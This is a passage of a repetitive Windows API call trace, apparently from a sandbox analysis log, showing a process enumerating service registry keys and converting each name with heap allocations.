RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.503] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.503] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0249.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0249.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.503] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.503] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.503] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.504] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0249.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0249.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.504] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.504] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.504] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.504] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arc") returned 0x0 [0249.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0249.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.504] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.504] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.504] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.504] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0249.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0249.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.504] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.504] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.504] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.504] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0249.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0249.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.505] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.505] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.505] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.505] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0249.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x1de4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0249.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.505] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.505] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.505] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.505] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0249.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1de4408, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0249.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.505] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.505] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.505] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.505] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0249.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0249.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.505] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.505] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.505] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.505] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x1dd29e0, cchName=0x104 | out: lpName="atapi") returned 0x0 [0249.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0249.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.506] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.506] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.506] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.506] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0249.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0249.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1de4450, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0249.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.506] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.506] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.506] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.506] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0249.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0249.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.506] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.506] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.506] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.506] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0249.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0249.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.506] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.506] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.507] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.507] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0249.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0249.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.507] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.507] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.507] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.507] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0249.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0249.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.507] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.507] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.507] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.507] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BattC") returned 0x0 [0249.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0249.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.507] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.507] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.507] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.507] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0249.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0249.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.508] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.508] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.508] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.508] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Beep") returned 0x0 [0249.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0249.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.508] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.508] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.508] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.508] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BFE") returned 0x0 [0249.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0249.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.508] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.508] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.508] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.508] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BITS") returned 0x0 [0249.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0249.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.508] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.508] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.508] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.508] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0249.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0249.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.509] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.509] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.509] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.509] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bowser") returned 0x0 [0249.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0249.509] 